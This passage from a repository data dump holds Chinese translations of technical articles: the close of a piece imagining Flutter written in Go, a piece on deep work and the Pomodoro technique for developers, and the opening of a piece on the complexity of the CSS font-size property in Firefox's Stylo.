6\n\n探索另一个办法是使用小组件的方法链。我忘记了这个模式的名称，但这不是很重要，因为模式应该从代码中产生，而不是以相反的方式。\n\n基本思想是，在创建一个小组件 —— 比如 `NewButton()` —— 我们立即调用一个像 `WithStyle(...)` 的方法，它返回相同的对象，我们就可以在一行（或一列）中调用越来越多的方法：\n\n```go\nbutton := NewButton().\n    WithText(\"Click me\").\n    WithStyle(MyButtonStyle1)\n```\n\n或者\n\n```go\nbutton := NewButton().\n    Text(\"Click me\").\n    Style(MyButtonStyle1)\n```\n\n我们尝试用这种方法重写基于 Scaffold 组件：\n\n```go\n// Build renders the MyHomePage widget. Implements Widget interface.\nfunc (m *MyHomePage) Build(ctx flutter.BuildContext) flutter.Widget {\n    return NewScaffold().\n        AppBar(NewAppBar().\n            Text(\"Flutter Go app\")).\n        Child(NewCenter().\n            Child(NewColumn().\n                MainAxisAlignment(MainAxisCenterAlignment).\n                Children([]Widget{\n                    Text(\"You have pushed the button this many times:\"),\n                    Text(fmt.Sprintf(\"%d\", m.counter)).\n                        Style(ctx.Theme.textTheme.display1),\n                }))).\n        FloatingActionButton(NewFloatingActionButton().\n            Icon(NewIcon(icons.Add)).\n            Text(\"Increment\").\n            Handler(m.onPressed))\n}\n```\n\n这不是一个陌生的概念 —— 例如，许多 Go 库中对配置选项使用类似的方法。这个版本跟 Dart 的版本略有不同，但它们都具备了大部分所需要的属性：\n\n* 显示地构建组件树\n* 命名参数\n* 在组件树中以缩进的方式显示组件的深度\n* 处理指定功能的能力\n\n我也喜欢传统的 Go 的 `New...()` 实例化方式。它清楚的表明它是一个函数，并创建了一个新对象。跟解释构造函数相比，向新手解释构造函数要更容易一些：**“它是一个与类同名的函数，但是你找不到这个函数，因为它很特殊，而且你无法通过查看构造函数就轻松地将它与普通函数区分开来”**。\n\n无论如何，在我探索的所有方法中，最后两个选项可能是最合适的。\n\n### 最终版\n\n现在，把所有的组件组装在一起，这就是我要说的 Flutter 的 “hello, world” 应用的样子：\n\nmain.go\n\n```go\npackage hello\n\nimport \"github.com/flutter/flutter\"\n\nfunc main() {\n    flutter.Run(NewMyApp())\n}\n```\n\napp.go:\n\n```go\npackage hello\n\nimport . \"github.com/flutter/flutter\"\n\n// MyApp 是顶层的应用组件\ntype MyApp struct {\n    Core\n    homePage *MyHomePage\n}\n\n// NewMyApp 初始化一个新的 MyApp 组件\nfunc NewMyApp() *MyApp {\n    app := &MyApp{}\n    app.homePage = &MyHomePage{}\n    return app\n}\n\n// Build 渲染了 MyApp 组件。实现了 Widget 接口\nfunc (m *MyApp) Build(ctx BuildContext) Widget {\n    return m.homePage\n}\n```\n\nhome_page.go:\n\n```go\npackage hello\n\nimport (\n    \"fmt\"\n    . \"github.com/flutter/flutter\"\n)\n\n// MyHomePage 是一个主页组件\ntype MyHomePage struct {\n    Core\n    counter int\n}\n\n// Build 渲染了 MyHomePage 组件。实现了 Widget 接口\nfunc (m *MyHomePage) Build(ctx BuildContext) Widget {\n    return NewScaffold(ScaffoldParams{\n        AppBar: NewAppBar(AppBarParams{\n            Title: Text(TextParams{\n                Text: \"My Home Page\",\n            }),\n        }),\n        Body: NewCenter(CenterParams{\n            Child: NewColumn(ColumnParams{\n                MainAxisAlignment: MainAxisAlignment.center,\n                Children: []Widget{\n                    Text(TextParams{\n                        Text: \"You have pushed the button this many times:\",\n                    }),\n                    Text(TextParams{\n                        Text:  fmt.Sprintf(\"%d\", m.counter),\n                        Style: ctx.textTheme.display1,\n                    }),\n                },\n            }),\n        }),\n        FloatingActionButton: NewFloatingActionButton(\n            FloatingActionButtonParameters{\n                OnPressed: m.incrementCounter,\n                Tooltip:   \"Increment\",\n                Child: NewIcon(IconParams{\n                    Icon: Icons.add,\n                }),\n            },\n        ),\n    })\n}\n\n// 增量计数器给 app 的计数器加一\nfunc (m *MyHomePage) incrementCounter() {\n    m.counter++\n    flutter.Rerender(m)\n}\n```\n\n实际上我很喜欢它。\n\n# 结语\n\n#### 与 Vecty 的相似点\n\n我不禁注意到，我的最终实现的结果跟 [Vecty](https://github.com/gopherjs/vecty) 框架所提供的非常相似。基本上，通用的设计几乎是一样的，都只是向 DOM/CSS 中输出，而 Flutter 则成熟地深入到底层的渲染层，用漂亮的小组件提供非常流畅的 120fps 体验（并解决了许多其他问题）。我认为 Vecty 的设计堪称典范，难怪我实现的结果也是一个“基于Flutter 的 Vecty 变种” :)\n\n#### 更好的理解 Flutter 的设计\n\n这个实验思路本身就很有趣 —— 你不必每天都要为尚未实现的库/框架编写（并探索）代码。但它也帮助我更深入的剖析了 Flutter 设计，阅读了一些技术文档，揭开了 Flutter 背后隐藏的魔法面纱。\n\n#### Go 的不足之处\n\n我对“ **Flutter 能用 Go 来写吗？**”的问题的答案肯定是**能**，但我也有一些偏激，没有意识到许多设计限制，而且这个问题没有标准答案。我更感兴趣的是探索 Dart 实现 Flutter 能给 Go 实现提供借鉴的地方。\n\n这次实践表明**主要问题是因为 Go 语法造成的**。无法调用函数时传递命名参数或无类型的字面量，这使得创建简洁、结构良好的类似于 DSL 的组件树变得更加困难和复杂。实际上，在未来的 Go 中，有[ Go 提议添加命名参数](https://github.com/golang/go/issues/12296)，这可能是一个向后兼容的更改。有了命名参数肯定对 Go 中的 UI 框架有所帮助，但它也引入了另一个问题即学习成本，并且对每个函数定义或调用都需要考虑另一种选择，因此这个特性所带来的好处尚不好评估。\n\n在 Go 中，缺少用户定义的泛型或者缺少异常机制显然不是什么大问题。我会很高兴听到另一种方法，以更加简洁和更强的可读性来实现 Go 版的 Flutter —— 我真的很好奇有什么方法能提供帮助。欢迎在评论区发表你的想法和代码。\n\n#### 关于 Flutter 未来的一些思考\n\n我最后的想法是，Flutter 真的是无法形容的棒，尽管我在这篇文章中指出了它的缺点。在 Flutter 中，“awesomeness/meh” 帧率是惊人的高，而且 Dart 实际上非常易于学习（如果你学过其他编程语言）。加入 Dart 的 web 家族中，我希望有一天，每一个浏览器附带一个快速并且优异的 Dart VM，其内部的 Flutter 也可以作为一个 web 应用程序框架（密切关注 [HummingBird](https://medium.com/flutter-io/hummingbird-building-flutter-for-the-web-e687c2a023a8) 项目，本地浏览器支持会更好）。\n\n大量令人难以置信的设计和优化，使 Flutter 的现状是非常火。这是一个你梦寐以求的项目，它也有很棒并且不断增长的社区。至少，这里有很多好的教程，并且我希望有一天能为这个了不起的项目作出贡献。\n\n对我来说，它绝对是一个游戏规则的变革者，我致力于全面的学习它，并能够时不时地做出很棒的移动应用。即使你从未想过你自己会去开发一个移动应用，我依然鼓励你尝试 Flutter —— 它真的犹如一股清新的空气。\n\n# Links\n\n* [https://flutter.io](https://flutter.io)\n* [给初学者的 Flutter 教程 —— 构建 iOS 和 Android 应用](https://www.youtube.com/watch?v=GLSG_Wh_YWc)\n* [关于 Go 的建议：一个改进 Golang 的命名参数设计](https://github.com/golang/go/issues/12296)\n* [关于 Go 提议：规范：无类型的复合字面量](https://github.com/golang/go/issues/12854)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/focus-and-deep-work-your-secret-weapons-to-becoming-a-10x-developer.md",
    "content": "> - 原文地址：[Focus and Deep Work — Your Secret Weapons to Becoming a 10X Developer](https://medium.freecodecamp.org/focus-and-deep-work-your-secret-weapons-to-becoming-a-10x-developer-8e203a6ad291)\n> - 原文作者：[Bar Franek](https://medium.freecodecamp.org/@barmang?source=post_header_lockup)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/focus-and-deep-work-your-secret-weapons-to-becoming-a-10x-developer.md](https://github.com/xitu/gold-miner/blob/master/TODO1/focus-and-deep-work-your-secret-weapons-to-becoming-a-10x-developer.md)\n> - 译者：[临书](https://github.com/tmpbook)\n> - 校对者：[Moonliujk](https://github.com/Moonliujk)，[weibinzhu](https://github.com/weibinzhu)\n\n# 深度专注的工作 —— 成为 10 倍效率的开发者的秘密武器\n\n![](https://cdn-images-1.medium.com/max/2000/0*N7TFrhs4o3rXgLPL)\n\n『工作中的女人』—— 由 [rawpixel](https://unsplash.com/@rawpixel?utm_source=medium&utm_medium=referral) 发布在 [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)\n\n**或者如何成为高收入，公司喜欢雇佣的『10 倍效率的摇滚巨星忍者』级别的开发者。**\n\n如果你正努力工作，或者你是一个需要关注和提升的初级开发者，或者你是一位寻求节奏升华的首席开发人员，再或者你甚至才刚刚大学毕业，无论你的公司属于初创还是成熟，这些都不重要。\n\n只要你是一名程序员，就没有什么技能比专注和深度工作对你的成功更重要了。\n\n出自 Cal Newport 的书《[Deep Work](https://amzn.to/2NXMePw)》：\n\n> 『**关于深度工作的假设**：进行深度工作的能力将变得越来越罕见，同时，在经济方面它将变得越来越有价值。培养这种能力并将其作为工作生活的核心的少数人，将会在未来发展的很好。』\n\n> - [Deep Work](https://amzn.to/2NXMePw) p.14\n\n我将使用《Deep Work》中的一些观点再结合我如何成为成功的经得起需求考验的开发者的想法来阐述本文。如果你正好处于技术领域，无论什么等级，我强烈建议你阅读下去。\n\n### 从惧怕编码到领导开发者\n\n我是一名自学成才的程序员。但是我快 30 岁才开始编程的。我一直认为自己是一个艺术家，并认为自己最终会进入创作领域。\n\n我做到了。大学毕业后，我创办了一家为小型本地企业提供图形和网页设计的公司。我是 PhotoShop 专家，并且熟知 HTML 和 CSS。\n\n不过令人讽刺的是，甚至是一行的 PHP 代码，我也不得不外包出去。\n\n很长一段时间我都被代码吓呆了，并把它留给了拥有计算机学位的人。\n\n『一个错误的点击，和用户的业务关系可能不保』—— 我之前想过。老实说这想法并不是很离谱（因为在使用版本控制之前，FTP 的提交方式无法回滚）。\n\n现在，我是一家财富 50 强公司的首席研发，致力于为数百万人开发提供娱乐的产品。\n\n我是怎么在短短几年内爬到这个位置的呢？🤔\n\n我的『秘密』是善于专注和深度工作。我并没有什么特别的。我花了很多时间训练自己如何专注于一个特定的事情，而长时间不分心。\n\n### 编码是一种艺术\n\n编程是一种创造性的追求。\n\n对普通人来说，它看似很有技术性并很枯燥，但你**是**一个创造者。你是在从无到有创造东西。那个『无』可以是您脑袋中的一个关于某 App 的想法或者是一个来自产品经理的功能需求。\n\n那个东西还不存在，但是你将把它变为现实。不是用油漆或文字，而是代码（好吧，代码也是**一些**单词，只是它们不是保留字）。\n\n如果你有任何想要提高生产力的渴望，那么你必须多练习。\n\n当你能够更好地有意识的保持更长时间的专注时，你的输出的质和量都会增加。\n\n艺术，音乐还有写作都需要长时间不间断的注意力，这会使脑细胞之间的突触上的[髓鞘](https://en.wikipedia.org/wiki/Myelin)变厚。编程也不例外。\n\n随着练习和时间流逝，你会变得更好，并且如果你能让你的练习更加高效，你会在更短的时间内变得更好。\n\n### 是的，你可以成为一个 10 倍效率的开发者（不过 5 倍，2 倍还有 1 倍也很强）\n\n先让我说明一下，我讨厌像『摇滚明星』，『忍者』还有『10 倍效率的开发者』这样的流行语。每个开发者都不喜欢，但公司和招聘人员喜欢使用它们。\n\n尽管有些俗气，但是『10 倍效率的开发者』理念背后确实有很多真理。\n\n它并不代表一个人可以代替 10 个。它意味着一些开发者可以在更少的时间内更有质量的完成更多的工作。在不需要比其他人更加努力工作的同时，能长时间始终如一的做到这一点。\n\n能力**不是**上天赐予的礼物，你并不是天生就具有它，它也不是你可以『开启』的东西。它是一种技能，**你可以，而且必须练习和训练它**。\n\n我已经在招聘方做了几十次了，我会告诉你，任何公司都希望有一个 10 倍效率的开发者组成的完整团队，但那是不现实的。\n\n空缺的开放职位比合格的开发人员更多。企业找一个合格的开发人员来填补空缺已经很难了，更不用说是多倍效率的开发人员了。\n\n> 『高级管理人员相信，缺乏高质量的开发人才是他们成长的最大潜在威胁之一』—— [开发人员系数](https://stripe.com/reports/developer-coefficient-2018)\n\n找到优秀的人才真的很**难**。\n\n大多数公司会为了 10 倍效率的开发人员抢破头，但是 5 倍，2 倍，甚至 1 倍的开发人员他们也非常乐意雇佣。\n\n1 倍效率开发者（是的，我发明的）是那种可以刚刚满足招聘需求的人，没有更多，也没有更少。讲真，任何公司已经很高兴了。关于[糟糕的雇佣产生天文数字的花费](https://www.google.com/search?q=how+much+does+a+bad+hire+cost)的文章已经有非常多了。\n\n### 让专注与深度工作去倍增你的编程技能分两步\n\n是时候提高你的职业生涯等级了。在你所爱的事业中，你有很多机会被雇佣并且茁壮成长。\n\n如果你是创业型的人，它同样适用。因为更重要的是你生活中的时间是否被高效利用。\n\n这是你从初级开发人员到高级开发人员的方式。这是你从 0.5 倍效率的开发人员到 5 倍开发人员的方式。当你每周只有 10 个小时的工作时间时如何保证项目的顺利实施呢？\n\n见鬼，这就是你的**生存方式**。\n\n> 『因此，要保持自己的身价，你必须快速掌握快速学习复杂事物这门艺术。这项任务需要深度工作。如果你没有培养这种能力，那么随着技术界的进步，你可能会落后。』\n\n> - [深度工作](https://amzn.to/2NXMePw) p.13\n\n#### 学会专注很难。\n\n首先你要意识到的是学习专注不是那么简单的。你无法从一开始就能产出高质量的代码。特别是你从未清楚的知道人很容易分心的事实。\n\n专注需要练习。任何需要练习的都很难。如果不需要练习，那你可能本来就很擅长了。\n\n你会挣扎，那没关系，我们从小做起。\n\n#### **不要将忙碌与生产力混为一谈。**\n\n深度工作不是把自己锁在一个黑暗的房间里然后迫使你漫无目的的在代码逻辑中遨游 14 个小时。仅仅是因为你在做某些事，并不意味着它就值得你去做。\n\n你需要琢磨一下什么是重要的什么不是。有些偏题了。如果你打算花时间去学习如何专注，那就去做一些付出有高回报的事情。\n\n它就像太阳和放大镜。\n\n分心的工作就像太阳一样，能量朝向不同方向发散。你可以站在太阳下，也不会晒伤。\n\n学会用放大镜集中散射的能量，你的破坏力可以从 0 到 10。我们希望使用有限的力量来尽可能做重要的事情（太阳终会落山）。\n\n### 第一步 — 避免分心\n\n多任务并行是个谎言。如果你认为在查看 Slack 消息或在另一个窗口阅读新闻时也可以编写出高质量的代码，那你就是在欺骗自己。\n\n我们生活在一个分心的世界。我们所研究的技术是一把双刃剑。新通知中没有任何令人愉悦的多巴胺。\n\n『Cool，我发的看到 Hamilton 那条状态被点了赞。』—— 这对你的专注能力有害。\n\n**消除分心是专注深入的工作的基础。**\n\n- 如果你不在 oncall 的位置，请**将手机调至静音**或者关掉它。我使用 [Forest app](https://www.forestapp.cc/en/) 来阻止我使用手机。将手机正面朝下放到手够不到的地方也可以。\n- **关闭 Slack.** 这个对我非常有效，因为我有强迫症，我老是想清空自己的未读消息。其实大多消息其实都是噪音，所以关闭它是很好的。\n- **关闭其他应用** 就是那些总是弹出通知打扰你的，比如 Outlook。\n- 这条最难 —— 关闭任何与你任务无关的浏览器窗口。就现在，**关闭所有喜爱的网站**。我很喜欢 [HeyFocus app](https://heyfocus.com)($20) 不过也有很多免费的扩展程序。\n- **带上耳机** —— 可以让你不被打扰（**希望如此**），而且重复的听同一张专辑是一个很好的聚焦方式。它可以作为一个启动的仪式（向你的大脑发出信号，是工作时间了）或者顺其自然（音乐可以让你有个好心情）。无论哪种方式，都有很多开发人员都坚信有用。\n\n### 第二步 —— 番茄工作法（秘密武器）\n\n![](https://cdn-images-1.medium.com/max/800/0*Bv9KMDpzDURETOwh)\n\n[Roychan Kruawan](https://unsplash.com/@mmoddk?utm_source=medium&utm_medium=referral) 发表在 [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral) 的作品：『一堆生产力』\n\n当你惊恐的发现你不可能连续 8 个小时没有任何干扰时，不用担心。我们将使用番茄工作法来打散这一天。\n\n有很多提高生产力的技巧，但是我最喜欢的是番茄工作法，我将介绍一下它作为你的一个起点。\n\n你过你想要官方的资料，请查看 [The Pomodoro Technique](https://amzn.to/2DhkHob) 这本书，你可以获取更详细的更有条理的内容。\n\n#### 工作 25 分钟（一个番茄钟）\n\n我们将工作 25 分钟，不受打扰的只做一件事。这一段的工作就是一个『番茄钟』。\n\n使用计时器。我以前用过一个[老式沙漏](https://amzn.to/2Dj7vPo)。如果你想成为一个真正的番茄钟爱好者，那么使用专业的番茄计时器。\n\n#### 然后休息 5 分钟\n\n你必须在休息时间离开，拿一些水，浏览一下黑客新闻，去去洗手间等。无论做什么，工作都结束了，完全不工作。\n\n#### 一个番茄钟只做一件事\n\n可以修复一个 bug，计划一个新的特性，或者开始看一个学习新框架的系列视频。\n\n如果任务太大（比如『制作一个应用程序』），那么你必须把任务分解成大约需要 25 分钟的小块。\n\n一些任务需要很多番茄钟去完成。可能需要三个番茄钟来写一个特性，两个番茄钟来写一个测试。\n\n或者你可能需要将很多类似的小任务批量分配到一个番茄钟中（比如完成前五条 JIRA 中的回复）。\n\n关键的任务必须是同一类型的。\n\n顺便说一句，我们拖延的主要原因是我们被巨大的，无法克服的任务所淹没。如果你的目标是『写一本书』，你将永远不知道怎么开始。当你把它分解成较小的块，比如『写一个大纲』或『写 300 个单词』时，任务路径会变得更清晰更可行。会更容易开始。\n\n虽然这篇文章一直是关于如何成一个更好的开发者，而不是拖延的，但事实上，很多时候它们是同一件事。\n\n#### 没有分心的工作\n\n看第一步。如果你分心了，这次番茄钟作废，你必须重新开始计时。\n\n#### 工作时间提高到 25 分钟\n\n如果之前从来没这么做过，那 25 分钟可能很难。从 10 分钟开始然后慢慢提高。下次是 15 分钟，然后 20 分钟，最后 25 分钟。\n\n你可以把时间提高的 55 分钟，如果你已经很熟悉这一套了。\n\n#### 慢慢提高每天能完成的番茄种的个数\n\n第一次尝试无干扰工作时，一天一共 25 分钟可能就是你的极限了。没关系。每天增加一点，继续努力。\n\n### 这如何让我成为一个更优秀的开发者呢？\n\n让我们现实点。通过从代码编辑器跳转到聊天室，再到电子邮件，再到现实生活中的对话，这对你的职业生涯没有帮助。\n\n你可能看起来很忙，甚至可能偶尔会提交一些代码。\n\n但事实是，和一整天的分散注意力的工作相比，几个小时的不受干扰的深度工作反而会有高质量的产出。\n\n从一个番茄钟开始。一直到你可以将几个番茄钟连在一起。\n\n然后你可以将几天的番茄钟串联在一起。\n\n然后到周到月。\n\n你会发现你可以更容易的，更频繁的进入状态。\n\n这很**珍贵**。这是你进入『醍醐灌顶』的时刻，是突破的时刻。\n\n就是之前缠着你的困难变得容易的时刻。\n\n**这是你的编程技能呈指数级增长的时候。**\n\n对优秀，合格程序员的需求比以往的任何时间都高。成功的最可靠途径是进入深入，专注的工作状态。\n\n尝试一下，让我知道你的想法。如果你有其他提高生产力的技术，请将其发布在下方！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/font-size-an-unexpectedly-complex-css-property.md",
    "content": "> * 原文地址：[Font-size: An Unexpectedly Complex CSS Property](https://manishearth.github.io/blog/2017/08/10/font-size-an-unexpectedly-complex-css-property/)\n> * 原文作者：[Manish Goregaokar](https://manishearth.github.io)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/font-size-an-unexpectedly-complex-css-property.md](https://github.com/xitu/gold-miner/blob/master/TODO1/font-size-an-unexpectedly-complex-css-property.md)\n> * 译者：[zephyrJS](https://github.com/zephyrJS)\n> * 校对者：[bambooom](https://github.com/bambooom)，[Colafornia](https://github.com/Colafornia)\n\n# Font-size：一个意外复杂的 CSS 属性\n\n[`font-size`](https://developer.mozilla.org/en/docs/Web/CSS/font-size) 是糟糕的 CSS 属性\n\n这可能是每一个写过 CSS 的人都知道的属性。它随处可见。\n\n但它也**十分**的复杂。\n\n“它不过是个数值”，你说，“它能有多复杂呢？”\n\n我曾经也这么认为，直到我开始致力于实现 [stylo](https://wiki.mozilla.org/Quantum/Stylo)。\n\nStylo 是一个将 [Servo](http://github.com/servo/servo/) 的样式系统集成到 Firefox 中的项目。这个样式系统负责解析 CSS，确定哪些规则适用于哪些元素，通过级联运行这些规则，最终计算并将样式分配给树中的各个元素。这不仅发生在页面加载上，也发生在各种事件（包括 DOM 操作）触发时，并且是页面加载和交互时间的一个重要部分。\n\nServo 使用 [Rust](https://rust-lang.org)，并在许多地方用到了 Rust 的并行安全特性，样式便是其中之一。Stylo 有潜力将这些加速技术带入 Firefox，以及更安全的系统语言带来的代码的安全性。\n\n无论如何，就样式系统而言，我认为字体大小是它必须处理的最复杂的属性。当涉及到布局或渲染时，有些属性可能会更复杂，但 font-size 可能是样式中最复杂的属性。\n\n我希望这篇文章能给出一个关于 web 会**变得多么复杂**的想法，同时也可以作为一些复杂问题的文档。在这篇文章中，我也将尝试解释一个样式系统是如何工作的。\n\n好的。让我们看看 font-size 是有多么的复杂。\n\n## 基础\n\n该属性的语法非常简单。你可以将其指定为：\n\n*   长度值（`12px`, `15pt`, `13em`, `4in`, `8rem`）\n*   百分比值（`50%`）\n*   将上述混合起来，使用 calc 来计算（`calc(12px + 4em + 20%)`）\n*   绝对关键字（`medium`, `small`, `large`, `x-large`, 等等）\n*   相对关键字（`larger`, `smaller`）\n\n前三种用法在长度相关的 CSS 属性中十分常见。语法没有异常。\n\n接下来两个很有趣。本质上，绝对关键字映射到各种像素值，并匹配 `<font size=foo>` 的结果（例如  `size=3` 就相当于 `font-size: medium`）。他们映射到的**实际值**并不简单，我将在后面的文章中讨论。\n\n相对关键字基本上是向上或向下缩放。缩放的机制也是复杂的，但是这已经改变了。接下来我也会谈到这个。\n\n## em 和 rem 单位\n\n首先：`em` 单位。在任何基于长度的 CSS 属性中都可以指定为一个单位为 em 或 rem 的值。\n\n`5em` 是指 “应用于元素的 font-size 的 5 倍”。`5rem` 是指 “根元素的 font-size 的 5 倍”\n\n这意味着字体大小需要在所有其他属性之前计算（好吧，不完全是，但是我们将讨论这个！）以便在这段时间内它是可用的。\n\n你也可以在 `font-size` 中使用 `em` 单位。在本例中，它是相对于**父**元素的字体大小计算的，而不是根据自身的字体大小来计算。\n\n## 最小字体大小\n\n浏览器允许您在它们的首选项中设置 “最小” 字体大小，文本不会比这个字体大小更小。这对于难以阅读小字的人来说是很有帮助的。\n\n但是，这并不影响以 em 为单位的 font-size 属性。所以如果你使用最小字体大小，`<div style=\"font-size: 1px; height: 1em; background-color: red\">` 将会有一个很小的高度（你可以通过颜色注意到），但文本的大小却会被限制在最小的尺寸上。\n\n实际上这意味着你需要跟踪**两个**单独计算的字体大小值。其中一个值用于确定实际文本的字体大小（例如，用于计算 `em` 单位。），而当样式系统需要知道字体大小时使用另一个值。\n\n但涉及到 [ruby](https://en.wikipedia.org/wiki/Ruby_character)（旁注标记）时，这会变得更加复杂。在表意文字中（通常指汉字及基于汉字的日本汉字和朝鲜汉字），为了帮助那些不熟悉汉字的读者，用拼音字来表达每个字符的发音有时是很有用的，这就是所谓的 “ruby”（在日语中被叫做 “[振り仮名](https://en.wikipedia.org/wiki/Furigana)”）。因为这些文字是表意的，所以学习者知道一个单词的发音却不知道如何书写它的情况并不少见。例如想要显示 <ruby><rb>日</rb><rt>に</rt><rb>本</rb><rt>ほん</rt></ruby>，则需要在日语的日本（日语中读作 “nihon”）上用 ruby 添加上平假名 にほん 。\n\n如你所见，拼音部分的 ruby 文本字体更小（通常是主文本字体大小的 50%<sup id=\"fnref:1\">[1](#fn:1)</sup>）。最小字体大小**遵守**这一点，并确保如果 ruby 应用 `50%` 的字体大小，则 ruby 的最小字体大小是原始最小字体大小的 `50%`。这就避免了 <ruby><rb>日</rb><rt style=\"font-size: 1em\">に</rt><rb>本</rb><rt style=\"font-size: 1em\">ほん</rt></ruby>（上下两段字设置成相同大小时）的情况，这样看起来将会很丑。\n\n## 文字变大\n\nFirefox 允许你在仅缩放的时候缩放文本。如果你在阅读一些小字时遇到了困难，那么在不需要整页放大的情况下就能把页面上的文本放大（这意味着你需要大量滚动），这是很好的体验。\n\n在这个例子中，其他设置了 `em` 单位的属性也**要**被放大。毕竟，它们应该相对于文本的字体大小（并且可能与文本有某种关系），所以如果这个大小已经改变，那它们也应随之改变。\n\n（当然，这个论点也适用于最小字体大小。但我不知道为什么最小字体没有应用。）\n\n实际上这很容易实现。在计算绝对字体大小（包括关键字）时，如果文字缩放功能开启则它们会相应的缩放。而其他则一切照旧。\n\n`<svg:text>` 元素禁止了文字缩放功能，这也引起了一些相当棘手的问题。\n\n## 插曲：样式系统是如何工作的\n\n再继续接下来的内容之前，我有必要概述下样式系统是如何工作的。\n\n样式系统的职责是接受 CSS 代码和 DOM 树，并为每个元素分配计算样式。\n\n这里的 “specified” 和 “computed” 是不一样的。“specified” 样式是在 CSS 中指定的样式，而计算样式是指那些附加到元素、发送到布局并继承自元素的那些样式。当应用于不同的元素时，指定的样式可以计算出不同的值。\n\n所以当你**指定**了 `width: 5em`，它可能计算得出 `width: 80px`。计算值通常是指定值清理后的结果。\n\n样式系统将首先解析 CSS，通常会生成一组包含声明的规则（声明类似于 `width: 20%;`；即属性名和指定值）\n\n然后，它按照自顶向下的顺序遍历树（在 Stylo 中这是并行的），找出每个元素所适用的声明以及其执行顺序 - 有些声明优先于其他声明。然后，它将根据元素的样式（父样式和其他信息）计算每个相关声明，并将该值存储在元素的 “计算样式” 中。\n\n为了避免重复的工作，Gecko 和 Servo 在这里做了很多优化<sup id=\"fnref:2\">[2](#fn:2)</sup>。 有一个 bloom 过滤器用于快速检查深层后代选择器是否应用于子树。有一个 “规则树” 用于缓存已确定的声明。计算样式经常被引用、计数和共享（因为默认状态是从父样式或默认样式继承的）。\n\n总的来说，这就是样式系统运作的基本原理。\n\n## 关键字值\n\n好吧，这就是事情变得复杂的地方。\n\n还记得我说的 `font-size: medium` 会映射到某个值吗？\n\n那么它映射到什么呢？\n\n嗯，结果是，这取决于字体。对于以下 HTML：\n\n```\n<span style=\"font: medium monospace\">text</span>\n<span style=\"font: medium sans-serif\">text</span>\n```\n\n你能从（[codepen](https://codepen.io/anon/pen/RZgxjw)）看到运行结果。\n\n<div style=\"border: 1px solid black; display: inline-block; padding: 15px;\"><span style=\"font: medium monospace\">text</span> <span style=\"font: medium sans-serif\">text</span></div>\n\n其中第一个计算字体大小为 13px，第二个字体大小为 16px。你能从 devtools 的计算样式窗口得到答案，或者使用 `getComputedStyle()` 也行。\n\n我**认为**这背后的原因是等宽字体往往更宽，而默认字体大小（medium）被缩小，使得它们看起来有相似的宽度，以及所有其他关键字字体大小也被改变。最终的结果就变成这样：\n\n![](https://manishearth.github.io/images/post/font-size-table.png)\n\nFirefox 和 Servo 有一个 [矩阵](https://github.com/servo/servo/blob/d415617a5bbe65a73bd805808a7ac76f38a1861c/components/style/properties/longhand/font.mako.rs#L763-L774) 用在计算基于“基本大小”（也就是 font-size: medium 的计算值）的所有绝对字体大小的关键字的值。实际上，Firefox 有 [三个表格](http://searchfox.org/mozilla-central/rev/c329d562fb6c6218bdb79290faaf015467ef89e2/layout/style/nsRuleNode.cpp#3272-3341) 来支持一些遗留用例，例如怪异模式（Servo 尚未添加对这三个表的支持）。我们在浏览器的其他部分查询“基本大小”时是基于语言和字体的。\n\n等等，这和语言又有什么关系呢？语言是如何影响字体大小的？\n\n实际上，基本大小取决于字体家族**和**语言，你可以对它进行配置。\n\nFirefox 和 Chrome（使用扩展）实际上都允许你为每种语言设置使用哪些字体，**以及默认（基本）的字体大小**。\n\n这并不像人们想象的那样晦涩难懂。对于非拉丁语系的文字，默认字体通常很难看。我单独安装了一个字体, 可以显示好看的天城文连字\n\n同样的，有些文字也比拉丁文复杂得多。我为天城文设置的默认字体为 18 而不是 16。我已经开始学习普通话了，我也把字号设置为 18。汉字字形可能会变得相当复杂，我仍然很难学会（以及认识）它们。更大的字体对学习它们更有帮助。\n\n总之，这不会让事情变得太复杂。这确实意味着 font family 需要在 font-size 之前计算，而 font-size 需要在大多数其他属性之前计算。语言可以通过 HTML 的 `lang` 属性来设置，由于它是可继承的，Firefox 内部将其视为一个 CSS 